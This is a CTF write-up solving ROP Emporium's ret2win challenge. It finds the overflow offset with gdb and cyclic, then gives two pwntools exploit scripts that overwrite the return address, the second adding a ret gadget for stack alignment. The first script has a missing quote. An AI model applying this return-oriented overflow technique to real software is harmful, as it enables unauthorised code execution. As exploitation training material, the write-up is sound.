Starting off, I stumbled across ROP Emporium website, So I will be tackling its challenges, first challenge is ret2win, the challenge can be downloaded here
This challenge is a ret2win that is we must return to a function we want hence win. First we check the file permissions using checksec.
Let’s run the file and see what it does. If I input the string “hello there” it prints out thank you response and then exits.
In the main function:
Now let’s find our offset. There are many ways of finding the offset: I will use my favorite one.
Using gdb and cyclic.
Start with cyclic 100 to get random characters to overflow the buffer.
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
We need to break right after the read function so that we see what happens in the stack. We set a breakpoint at mov function after reads function.
Developing exploit
We need the ret2win address, we can copy the address from gdb.
1 from pwn import *
2 context.binary = binary = ELF("./ret2win)
3
4 p = process()
5 # pad the buffer with 40 A's
6 buffer = b"A"*40
7 # the ret2win function we need to jump to.
8 win = p64(0x0000000000400756)
9 payload = buffer + win
10
11# we tell the program to receive the ouput until >
12 p.recvuntil(b">")
13 p.sendline(payload)
14 p.interactive()
Now this program should print our flag, but in my case in this writeup I am using Ubuntu 22-04, so in UBUNTU there is something called MOVAPS issue which causes stack alignment issues, so in order for this to work we need to add a ret function. We can use another tool that comes pre installed with pwntools called ROPgadget
So our updated code will be:
1from pwn import *
2context.binary = binary = ELF("./ret2win")
3
4p = process()
5# pad the buffer with 40 A's
6buffer = b"A"*40
7# the ret function due to MOVAPS
8ret = p64(0x000000000040053e)
9# the ret2win function we need to jump to.
10win = p64(0x0000000000400756)
11payload = buffer + ret +win
12
13# we tell the program to receive the ouput until >
14p.recvuntil(b">")
15p.sendline(payload)
16p.interactive()
When we ran the program: